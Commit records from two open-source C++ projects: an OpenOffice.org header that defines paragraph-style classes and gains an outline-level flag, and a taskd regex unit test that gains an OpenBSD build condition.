&);\n};\n\n\nclass SW_DLLPUBLIC SwTxtFmtColl: public SwFmtColl\n{\n    friend class SwDoc;\n\n    SwTxtFmtColl(const SwTxtFmtColl & rRef);\n\nprotected:\n    BYTE nOutlineLevel;\n    SwTxtFmtColl *pNextTxtFmtColl;\n\n    SwTxtFmtColl( SwAttrPool& rPool, const sal_Char* pFmtCollName,\n                    SwTxtFmtColl* pDerFrom = 0,\n                    USHORT nFmtWh = RES_TXTFMTCOLL )\n        : SwFmtColl( rPool, pFmtCollName, aTxtFmtCollSetRange,\n                        pDerFrom, nFmtWh ),\n        nOutlineLevel( NO_NUMBERING )\n    { pNextTxtFmtColl = this; }\n\n    SwTxtFmtColl( SwAttrPool& rPool, const String &rFmtCollName,\n                    SwTxtFmtColl* pDerFrom = 0,\n                    USHORT nFmtWh = RES_TXTFMTCOLL )\n        : SwFmtColl( rPool, rFmtCollName, aTxtFmtCollSetRange,\n                        pDerFrom, nFmtWh ),\n        nOutlineLevel( NO_NUMBERING )\n    { pNextTxtFmtColl = this; }\n\npublic:\n\n    \/\/ zum \"abfischen\" von UL-\/LR-\/FontHeight Aenderungen\n    virtual void Modify( SfxPoolItem*, SfxPoolItem* );\n\n    TYPEINFO();     \/\/Bereits in Basisklasse Client drin.\n\n    void SetOutlineLevel( BYTE );\n    inline BYTE GetOutlineLevel() const { return nOutlineLevel; }\n\n    inline void SetNextTxtFmtColl(SwTxtFmtColl& rNext);\n    SwTxtFmtColl& GetNextTxtFmtColl() const { return *pNextTxtFmtColl; }\n\n    BOOL IsAtDocNodeSet() const;\n\n    \/\/ --> OD 2006-11-22 #i71574#\n    inline const bool AssignedToListLevelOfOutlineStyle() const\n    {\n        return ( 0 <= GetOutlineLevel() && GetOutlineLevel() < MAXLEVEL );\n    }\n\n    inline void DeleteAssignmentToListLevelOfOutlineStyle()\n    {\n        SetOutlineLevel( NO_NUMBERING );\n    }\n    \/\/ <--\n\n\/*----------------- JP 09.08.94 17:36 -------------------\n wird die Funktionalitaet von Zeichenvorlagen an Absatzvorlagen\n ueberhaupt benoetigt ??\n\n Wenn, ja dann muessen im TextNode und hier in der TxtCollection ein 2.\n Attset fuer die Char-Attribute angelegt werden; damit die Vererbung\n und der Zugriff auf die gesetzen Attribute richtig funktioniert!!\n\n    virtual BOOL SetDerivedFrom( SwFmtColl* pDerFrom = 0 );\n\n    inline SwCharFmt* GetCharFmt() const;\n    inline BOOL IsCharFmtSet() const;\n    void SetCharFmt(SwCharFmt *);\n    void ResetCharFmt();\ninline BOOL SwTxtFmtColl::IsCharFmtSet() const\n{\n    return aCharDepend.GetRegisteredIn() ? TRUE : FALSE;\n}\ninline SwCharFmt* SwTxtFmtColl::GetCharFmt() const\n{\n    return (SwCharFmt*)aCharDepend.GetRegisteredIn();\n}\n--------------------------------------------------*\/\n};\n\ntypedef SwTxtFmtColl* SwTxtFmtCollPtr;\nSV_DECL_PTRARR(SwTxtFmtColls,SwTxtFmtCollPtr,2,4)\n\n\nclass SwGrfFmtColl: public SwFmtColl\n{\n    friend class SwDoc;\nprotected:\n    SwGrfFmtColl( SwAttrPool& rPool, const sal_Char* pFmtCollName,\n                    SwGrfFmtColl* pDerFrom = 0 )\n        : SwFmtColl( rPool, pFmtCollName, aGrfFmtCollSetRange,\n                    pDerFrom, RES_GRFFMTCOLL )\n    {}\n\n    SwGrfFmtColl( SwAttrPool& rPool, const String &rFmtCollName,\n                    SwGrfFmtColl* pDerFrom = 0 )\n        : SwFmtColl( rPool, rFmtCollName, aGrfFmtCollSetRange,\n                    pDerFrom, RES_GRFFMTCOLL )\n    {}\n\npublic:\n    TYPEINFO();     \/\/Bereits in Basisklasse Client drin.\n};\n\ntypedef SwGrfFmtColl* SwGrfFmtCollPtr;\nSV_DECL_PTRARR(SwGrfFmtColls,SwGrfFmtCollPtr,2,4)\n\n\n\n\/\/FEATURE::CONDCOLL\n\/\/ --------- Bedingte Vorlagen -------------------------------\n\nenum Master_CollConditions\n{\n    PARA_IN_LIST        = 0x0001,\n    PARA_IN_OUTLINE     = 0x0002,\n    PARA_IN_FRAME       = 0x0004,\n    PARA_IN_TABLEHEAD   = 0x0008,\n    PARA_IN_TABLEBODY   = 0x0010,\n    PARA_IN_SECTION     = 0x0020,\n    PARA_IN_FOOTENOTE   = 0x0040,\n    PARA_IN_FOOTER      = 0x0080,\n    PARA_IN_HEADER      = 0x0100,\n    PARA_IN_ENDNOTE     = 0x0200,\n    \/\/ ...\n    USRFLD_EXPRESSION   = (int)0x8000\n};\n\n\nclass SW_DLLPUBLIC SwCollCondition : public SwClient\n{\n    ULONG nCondition;\n    union\n    {\n        ULONG nSubCondition;\n        String* pFldExpression;\n    } aSubCondition;\n\npublic:\n    TYPEINFO();     \/\/Bereits in Basisklasse Client drin.\n\n\n    SwCollCondition( SwTxtFmtColl* pColl, ULONG nMasterCond,\n                    ULONG nSubCond = 0 );\n    SwCollCondition( SwTxtFmtColl* pColl, ULONG nMasterCond,\n                    const String& rSubExp );\n    virtual ~SwCollCondition();\n\n    \/\/ @@@ public copy ctor, but no copy assignment?\n    SwCollCondition( const SwCollCondition& rCpy );\nprivate:\n    \/\/ @@@ public copy ctor, but no copy assignment?\n    SwCollCondition & operator= (const SwCollCondition &);\npublic:\n\n    int operator==( const SwCollCondition& rCmp ) const;\n    int operator!=( const SwCollCondition& rCmp ) const\n                            { return ! (*this == rCmp); }\n\n    ULONG GetCondition() const      { return nCondition; }\n    ULONG GetSubCondition() const   { return aSubCondition.nSubCondition; }\n    const String* GetFldExpression() const\n                                    { return aSubCondition.pFldExpression; }\n\n    void SetCondition( ULONG nCond, ULONG nSubCond );\n    SwTxtFmtColl* GetTxtFmtColl() const     { return (SwTxtFmtColl*)GetRegisteredIn(); }\n};\n\n\ntypedef SwCollCondition* SwCollConditionPtr;\nSV_DECL_PTRARR_DEL( SwFmtCollConditions, SwCollConditionPtr, 0, 5 )\n\nclass SW_DLLPUBLIC SwConditionTxtFmtColl : public SwTxtFmtColl\n{\n    friend class SwDoc;\nprotected:\n    SwFmtCollConditions aCondColls;\n\n    SwConditionTxtFmtColl( SwAttrPool& rPool, const sal_Char* pFmtCollName,\n                            SwTxtFmtColl* pDerFrom = 0 )\n        : SwTxtFmtColl( rPool, pFmtCollName, pDerFrom, RES_CONDTXTFMTCOLL )\n    {}\n    SwConditionTxtFmtColl( SwAttrPool& rPool, const String &rFmtCollName,\n                            SwTxtFmtColl* pDerFrom = 0 )\n        : SwTxtFmtColl( rPool, rFmtCollName, pDerFrom, RES_CONDTXTFMTCOLL )\n    {}\n\npublic:\n    TYPEINFO();     \/\/Bereits in Basisklasse Client drin.\n\n    virtual ~SwConditionTxtFmtColl();\n\n    \/\/ zum \"abfischen\" von Aenderungen\n\/\/  virtual void Modify( SfxPoolItem*, SfxPoolItem* );\n\n    const SwCollCondition* HasCondition( const SwCollCondition& rCond ) const;\n    const SwFmtCollConditions& GetCondColls() const     { return aCondColls; }\n    void InsertCondition( const SwCollCondition& rCond );\n    BOOL RemoveCondition( const SwCollCondition& rCond );\n\n    void SetConditions( const SwFmtCollConditions& );\n};\n\n\/\/FEATURE::CONDCOLL\n\n\/\/ ------------- Inline Implementierungen --------------------\n\ninline void SwTxtFmtColl::SetNextTxtFmtColl( SwTxtFmtColl& rNext )\n{\n    pNextTxtFmtColl = &rNext;\n}\n#endif\n\n<commit_msg>INTEGRATION: CWS swqbf95_SRC680 (1.7.156.1.4); FILE MERGED 2007\/01\/25 08:19:13 od 1.7.156.1.4.1: #i73790# class <SwTxtFmtColl> \t - introduce new boolean member <mbStayAssignedToListLevelOfOutlineStyle> \t - override method <ResetAllFmtAttr> to stay assigned to list level \t   of outline style<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: fmtcol.hxx,v $\n *\n *  $Revision: 1.9 $\n *\n *  last change: $Author: vg $ $Date: 2007-02-05 10:51:35 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#ifndef _FMTCOL_HXX\n#define _FMTCOL_HXX\n\n#ifndef _SVARRAY_HXX \/\/autogen\n#include <svtools\/svarray.hxx>\n#endif\n\n#ifndef INCLUDED_SWDLLAPI_H\n#include \"swdllapi.h\"\n#endif\n#ifndef _FORMAT_HXX\n#include <format.hxx>\n#endif\n#ifndef _SWTYPES_HXX\n#include <swtypes.hxx>      \/\/ fuer MAXLEVEL\n#endif\n\nclass SwDoc;        \/\/ fuer friend\n\nclass SwFmtColl : public SwFmt\n{\nprotected:\n    SwFmtColl( SwAttrPool& rPool, const sal_Char* pFmtName,\n                const USHORT* pWhichRanges, SwFmtColl* pDerFrom,\n                USHORT nFmtWhich )\n          : SwFmt( rPool, pFmtName, pWhichRanges, pDerFrom, nFmtWhich )\n    { SetAuto( FALSE ); }\n\n    SwFmtColl( SwAttrPool& rPool, const String &rFmtName,\n                const USHORT* pWhichRanges, SwFmtColl* pDerFrom,\n                USHORT nFmtWhich )\n          : SwFmt( rPool, rFmtName, pWhichRanges, pDerFrom, nFmtWhich )\n    { SetAuto( FALSE ); }\n\n\nprivate:\n    \/\/ erstmal wird nicht kopiert und nicht zugewiesen\n    SwFmtColl(const SwFmtColl & );\n    const SwFmtColl &operator=(const SwFmtColl &);\n};\n\n\nclass SW_DLLPUBLIC SwTxtFmtColl: public SwFmtColl\n{\n    friend class SwDoc;\n\n    SwTxtFmtColl(const SwTxtFmtColl & rRef);\n\n    \/\/ --> OD 2007-01-24 #i73790#\n    bool mbStayAssignedToListLevelOfOutlineStyle;\n    \/\/ <--\nprotected:\n    BYTE nOutlineLevel;\n    SwTxtFmtColl *pNextTxtFmtColl;\n\n    SwTxtFmtColl( SwAttrPool& rPool, const sal_Char* pFmtCollName,\n                    SwTxtFmtColl* pDerFrom = 0,\n                    USHORT nFmtWh = RES_TXTFMTCOLL )\n        : SwFmtColl( rPool, pFmtCollName, aTxtFmtCollSetRange,\n                        pDerFrom, nFmtWh ),\n          \/\/ --> OD 2007-01-24 #i73790#\n          mbStayAssignedToListLevelOfOutlineStyle( false ),\n          \/\/ <--\n          nOutlineLevel( NO_NUMBERING )\n    { pNextTxtFmtColl = this; }\n\n    SwTxtFmtColl( SwAttrPool& rPool, const String &rFmtCollName,\n                    SwTxtFmtColl* pDerFrom = 0,\n                    USHORT nFmtWh = RES_TXTFMTCOLL )\n        : SwFmtColl( rPool, rFmtCollName, aTxtFmtCollSetRange,\n                        pDerFrom, nFmtWh ),\n          \/\/ --> OD 2007-01-24 #i73790#\n          mbStayAssignedToListLevelOfOutlineStyle( false ),\n          \/\/ <--\n          nOutlineLevel( NO_NUMBERING )\n    { pNextTxtFmtColl = this; }\n\npublic:\n\n    \/\/ zum \"abfischen\" von UL-\/LR-\/FontHeight Aenderungen\n    virtual void Modify( SfxPoolItem*, SfxPoolItem* );\n\n    TYPEINFO();     \/\/Bereits in Basisklasse Client drin.\n\n    void SetOutlineLevel( BYTE );\n    inline BYTE GetOutlineLevel() const { return nOutlineLevel; }\n\n    inline void SetNextTxtFmtColl(SwTxtFmtColl& rNext);\n    SwTxtFmtColl& GetNextTxtFmtColl() const { return *pNextTxtFmtColl; }\n\n    BOOL IsAtDocNodeSet() const;\n\n    \/\/ --> OD 2006-11-22 #i71574#\n    inline const bool AssignedToListLevelOfOutlineStyle() const\n    {\n        return ( 0 <= GetOutlineLevel() && GetOutlineLevel() < MAXLEVEL );\n    }\n\n    inline void DeleteAssignmentToListLevelOfOutlineStyle()\n    {\n        SetOutlineLevel( NO_NUMBERING );\n    }\n    \/\/ <--\n\n    \/\/ --> OD 2007-01-24 #i73790#\n    \/\/ override <ResetAllFmtAttr()> to stay assigned to list level of outline style\n    virtual USHORT ResetAllFmtAttr();\n\n    inline bool StayAssignedToListLevelOfOutlineStyle() const\n    {\n        return mbStayAssignedToListLevelOfOutlineStyle;\n    }\n    \/\/ <--\n\/*----------------- JP 09.08.94 17:36 -------------------\n wird die Funktionalitaet von Zeichenvorlagen an Absatzvorlagen\n ueberhaupt benoetigt ??\n\n Wenn, ja dann muessen im TextNode und hier in der TxtCollection ein 2.\n Attset fuer die Char-Attribute angelegt werden; damit die Vererbung\n und der Zugriff auf die gesetzen Attribute richtig funktioniert!!\n\n    virtual BOOL SetDerivedFrom( SwFmtColl* pDerFrom = 0 );\n\n    inline SwCharFmt* GetCharFmt() const;\n    inline BOOL IsCharFmtSet() const;\n    void SetCharFmt(SwCharFmt *);\n    void ResetCharFmt();\ninline BOOL SwTxtFmtColl::IsCharFmtSet() const\n{\n    return aCharDepend.GetRegisteredIn() ? TRUE : FALSE;\n}\ninline SwCharFmt* SwTxtFmtColl::GetCharFmt() const\n{\n    return (SwCharFmt*)aCharDepend.GetRegisteredIn();\n}\n--------------------------------------------------*\/\n};\n\ntypedef SwTxtFmtColl* SwTxtFmtCollPtr;\nSV_DECL_PTRARR(SwTxtFmtColls,SwTxtFmtCollPtr,2,4)\n\n\nclass SwGrfFmtColl: public SwFmtColl\n{\n    friend class SwDoc;\nprotected:\n    SwGrfFmtColl( SwAttrPool& rPool, const sal_Char* pFmtCollName,\n                    SwGrfFmtColl* pDerFrom = 0 )\n        : SwFmtColl( rPool, pFmtCollName, aGrfFmtCollSetRange,\n                    pDerFrom, RES_GRFFMTCOLL )\n    {}\n\n    SwGrfFmtColl( SwAttrPool& rPool, const String &rFmtCollName,\n                    SwGrfFmtColl* pDerFrom = 0 )\n        : SwFmtColl( rPool, rFmtCollName, aGrfFmtCollSetRange,\n                    pDerFrom, RES_GRFFMTCOLL )\n    {}\n\npublic:\n    TYPEINFO();     \/\/Bereits in Basisklasse Client drin.\n};\n\ntypedef SwGrfFmtColl* SwGrfFmtCollPtr;\nSV_DECL_PTRARR(SwGrfFmtColls,SwGrfFmtCollPtr,2,4)\n\n\n\n\/\/FEATURE::CONDCOLL\n\/\/ --------- Bedingte Vorlagen -------------------------------\n\nenum Master_CollConditions\n{\n    PARA_IN_LIST        = 0x0001,\n    PARA_IN_OUTLINE     = 0x0002,\n    PARA_IN_FRAME       = 0x0004,\n    PARA_IN_TABLEHEAD   = 0x0008,\n    PARA_IN_TABLEBODY   = 0x0010,\n    PARA_IN_SECTION     = 0x0020,\n    PARA_IN_FOOTENOTE   = 0x0040,\n    PARA_IN_FOOTER      = 0x0080,\n    PARA_IN_HEADER      = 0x0100,\n    PARA_IN_ENDNOTE     = 0x0200,\n    \/\/ ...\n    USRFLD_EXPRESSION   = (int)0x8000\n};\n\n\nclass SW_DLLPUBLIC SwCollCondition : public SwClient\n{\n    ULONG nCondition;\n    union\n    {\n        ULONG nSubCondition;\n        String* pFldExpression;\n    } aSubCondition;\n\npublic:\n    TYPEINFO();     \/\/Bereits in Basisklasse Client drin.\n\n\n    SwCollCondition( SwTxtFmtColl* pColl, ULONG nMasterCond,\n                    ULONG nSubCond = 0 );\n    SwCollCondition( SwTxtFmtColl* pColl, ULONG nMasterCond,\n                    const String& rSubExp );\n    virtual ~SwCollCondition();\n\n    \/\/ @@@ public copy ctor, but no copy assignment?\n    SwCollCondition( const SwCollCondition& rCpy );\nprivate:\n    \/\/ @@@ public copy ctor, but no copy assignment?\n    SwCollCondition & operator= (const SwCollCondition &);\npublic:\n\n    int operator==( const SwCollCondition& rCmp ) const;\n    int operator!=( const SwCollCondition& rCmp ) const\n                            { return ! (*this == rCmp); }\n\n    ULONG GetCondition() const      { return nCondition; }\n    ULONG GetSubCondition() const   { return aSubCondition.nSubCondition; }\n    const String* GetFldExpression() const\n                                    { return aSubCondition.pFldExpression; }\n\n    void SetCondition( ULONG nCond, ULONG nSubCond );\n    SwTxtFmtColl* GetTxtFmtColl() const     { return (SwTxtFmtColl*)GetRegisteredIn(); }\n};\n\n\ntypedef SwCollCondition* SwCollConditionPtr;\nSV_DECL_PTRARR_DEL( SwFmtCollConditions, SwCollConditionPtr, 0, 5 )\n\nclass SW_DLLPUBLIC SwConditionTxtFmtColl : public SwTxtFmtColl\n{\n    friend class SwDoc;\nprotected:\n    SwFmtCollConditions aCondColls;\n\n    SwConditionTxtFmtColl( SwAttrPool& rPool, const sal_Char* pFmtCollName,\n                            SwTxtFmtColl* pDerFrom = 0 )\n        : SwTxtFmtColl( rPool, pFmtCollName, pDerFrom, RES_CONDTXTFMTCOLL )\n    {}\n    SwConditionTxtFmtColl( SwAttrPool& rPool, const String &rFmtCollName,\n                            SwTxtFmtColl* pDerFrom = 0 )\n        : SwTxtFmtColl( rPool, rFmtCollName, pDerFrom, RES_CONDTXTFMTCOLL )\n    {}\n\npublic:\n    TYPEINFO();     \/\/Bereits in Basisklasse Client drin.\n\n    virtual ~SwConditionTxtFmtColl();\n\n    \/\/ zum \"abfischen\" von Aenderungen\n\/\/  virtual void Modify( SfxPoolItem*, SfxPoolItem* );\n\n    const SwCollCondition* HasCondition( const SwCollCondition& rCond ) const;\n    const SwFmtCollConditions& GetCondColls() const     { return aCondColls; }\n    void InsertCondition( const SwCollCondition& rCond );\n    BOOL RemoveCondition( const SwCollCondition& rCond );\n\n    void SetConditions( const SwFmtCollConditions& );\n};\n\n\/\/FEATURE::CONDCOLL\n\n\/\/ ------------- Inline Implementierungen --------------------\n\ninline void SwTxtFmtColl::SetNextTxtFmtColl( SwTxtFmtColl& rNext )\n{\n    pNextTxtFmtColl = &rNext;\n}\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ taskd - Task Server\n\/\/\n\/\/ Copyright 2010 - 2013, Göteborg Bit Factory.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included\n\/\/ in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n\/\/ OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/\n\/\/ http:\/\/www.opensource.org\/licenses\/mit-license.php\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <cmake.h>\n#include <RX.h>\n#include <test.h>\n\nint main (int argc, char** argv)\n{\n  UnitTest ut (23);\n\n  std::string text = \"This is a test.\";\n\n  RX r1 (\"i. \", true);\n  ut.ok (r1.match (text), text + \" =~ \/i. \/\");\n\n  std::vector <std::string> matches;\n  ut.ok (r1.match (matches, text), text + \" =~ \/i. \/\");\n  ut.ok (matches.size () == 2, \"2 match\");\n  ut.is (matches[0], \"is \", \"$1 == is\\\\s\");\n  ut.is (matches[1], \"is \", \"$1 == is\\\\s\");\n\n  text = \"abcdefghijklmnopqrstuvwxyz\";\n\n  RX r3 (\"t..\", true);\n  ut.ok (r3.match (text), \"t..\");\n\n  RX r4 (\"T..\", false);\n  ut.ok (r4.match (text), \"T..\");\n\n  RX r5 (\"T..\", true);\n  ut.ok (!r5.match (text), \"! T..\");\n\n  text = \"this is a test of the regex engine.\";\n  \/\/      |...:....|....:....|....:....|....:\n\n  RX r6 (\"^this\");\n  ut.ok (r6.match (text),      \"^this matches\");\n\n  RX r7 (\"engine\\\\.$\");\n  ut.ok (r7.match (text), \"engine\\\\.$ matches\");\n\n  std::vector <std::string> results;\n  std::vector <int> start;\n  std::vector <int> end;\n  RX r8 (\"e..\", true);\n  ut.ok (r8.match (results, text), \"e.. there are matches\");\n  ut.ok (r8.match (start, end, text), \"e.. there are matches\");\n  ut.is (results.size (), (size_t) 4, \"e.. == 4 matches\");\n  ut.is (results[0], \"est\", \"e..[0] == 'est'\");\n  ut.is (start[0],      11, \"e..[0] == 11->\");\n  ut.is (end[0],        14, \"e..[0] == ->14\");\n\n  results.clear ();\n  RX r9 (\"e\", true);\n  ut.ok (r9.match (results, text),           \"e there are matches\");\n  ut.is (results.size (), (size_t) 6,        \"e == 6 matches\");\n\n  start.clear ();\n  end.clear ();\n  ut.ok (r9.match (start, end, text),        \"e there are matches\");\n  ut.is (start.size (), (size_t) 6,          \"e == 6 matches\");\n\n#if defined(DARWIN) || defined(CYGWIN) || defined(FREEBSD)\n  text = \"this is the end.\";\n  ut.pass (text + \" =~ \/\\\\bthe\/\");\n  ut.pass (text + \" =~ \/the\\\\b\/\");\n  ut.pass (text + \" =~ \/\\\\bthe\\\\b\/\");\n#elif defined(SOLARIS)\n  RX r10 (\"\\\\<the\");\n  text = \"this is the end.\";\n  ut.ok (r10.match (text), text + \" =~ \/\\\\<the\/\");\n\n  RX r11 (\"the\\\\>\");\n  ut.ok (r11.match (text), text + \" =~ \/the\\\\>\/\");\n\n  RX r12 (\"\\\\<the\\\\>\");\n  ut.ok (r12.match (text), text + \" =~ \/\\\\<the\\\\>\/\");\n#else\n  RX r10 (\"\\\\bthe\");\n  text = \"this is the end.\";\n  ut.ok (r10.match (text), text + \" =~ \/\\\\bthe\/\");\n\n  RX r11 (\"the\\\\b\");\n  ut.ok (r11.match (text), text + \" =~ \/the\\\\b\/\");\n\n  RX r12 (\"\\\\bthe\\\\b\");\n  ut.ok (r12.match (text), text + \" =~ \/\\\\bthe\\\\b\/\");\n#endif\n\n  return 0;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n<commit_msg>Unit Tests<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ taskd - Task Server\n\/\/\n\/\/ Copyright 2010 - 2013, Göteborg Bit Factory.\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included\n\/\/ in all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n\/\/ OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n\/\/ THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/\n\/\/ http:\/\/www.opensource.org\/licenses\/mit-license.php\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include <cmake.h>\n#include <RX.h>\n#include <test.h>\n\nint main (int argc, char** argv)\n{\n  UnitTest ut (23);\n\n  std::string text = \"This is a test.\";\n\n  RX r1 (\"i. \", true);\n  ut.ok (r1.match (text), text + \" =~ \/i. \/\");\n\n  std::vector <std::string> matches;\n  ut.ok (r1.match (matches, text), text + \" =~ \/i. \/\");\n  ut.ok (matches.size () == 2, \"2 match\");\n  ut.is (matches[0], \"is \", \"$1 == is\\\\s\");\n  ut.is (matches[1], \"is \", \"$1 == is\\\\s\");\n\n  text = \"abcdefghijklmnopqrstuvwxyz\";\n\n  RX r3 (\"t..\", true);\n  ut.ok (r3.match (text), \"t..\");\n\n  RX r4 (\"T..\", false);\n  ut.ok (r4.match (text), \"T..\");\n\n  RX r5 (\"T..\", true);\n  ut.ok (!r5.match (text), \"! T..\");\n\n  text = \"this is a test of the regex engine.\";\n  \/\/      |...:....|....:....|....:....|....:\n\n  RX r6 (\"^this\");\n  ut.ok (r6.match (text),      \"^this matches\");\n\n  RX r7 (\"engine\\\\.$\");\n  ut.ok (r7.match (text), \"engine\\\\.$ matches\");\n\n  std::vector <std::string> results;\n  std::vector <int> start;\n  std::vector <int> end;\n  RX r8 (\"e..\", true);\n  ut.ok (r8.match (results, text), \"e.. there are matches\");\n  ut.ok (r8.match (start, end, text), \"e.. there are matches\");\n  ut.is (results.size (), (size_t) 4, \"e.. == 4 matches\");\n  ut.is (results[0], \"est\", \"e..[0] == 'est'\");\n  ut.is (start[0],      11, \"e..[0] == 11->\");\n  ut.is (end[0],        14, \"e..[0] == ->14\");\n\n  results.clear ();\n  RX r9 (\"e\", true);\n  ut.ok (r9.match (results, text),           \"e there are matches\");\n  ut.is (results.size (), (size_t) 6,        \"e == 6 matches\");\n\n  start.clear ();\n  end.clear ();\n  ut.ok (r9.match (start, end, text),        \"e there are matches\");\n  ut.is (start.size (), (size_t) 6,          \"e == 6 matches\");\n\n#if defined(DARWIN) || defined(CYGWIN) || defined(FREEBSD) || defined(OPENBSD)\n  text = \"this is the end.\";\n  ut.pass (text + \" =~ \/\\\\bthe\/\");\n  ut.pass (text + \" =~ \/the\\\\b\/\");\n  ut.pass (text + \" =~ \/\\\\bthe\\\\b\/\");\n#elif defined(SOLARIS)\n  RX r10 (\"\\\\<the\");\n  text = \"this is the end.\";\n  ut.ok (r10.match (text), text + \" =~ \/\\\\<the\/\");\n\n  RX r11 (\"the\\\\>\");\n  ut.ok (r11.match (text), text + \" =~ \/the\\\\>\/\");\n\n  RX r12 (\"\\\\<the\\\\>\");\n  ut.ok (r12.match (text), text + \" =~ \/\\\\<the\\\\>\/\");\n#else\n  RX r10 (\"\\\\bthe\");\n  text = \"this is the end.\";\n  ut.ok (r10.match (text), text + \" =~ \/\\\\bthe\/\");\n\n  RX r11 (\"the\\\\b\");\n  ut.ok (r11.match (text), text + \" =~ \/the\\\\b\/\");\n\n  RX r12 (\"\\\\bthe\\\\b\");\n  ut.ok (r12.match (text), text + \" =~ \/\\\\bthe\\\\b\/\");\n#endif\n\n  return 0;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n<|endoftext|>"}
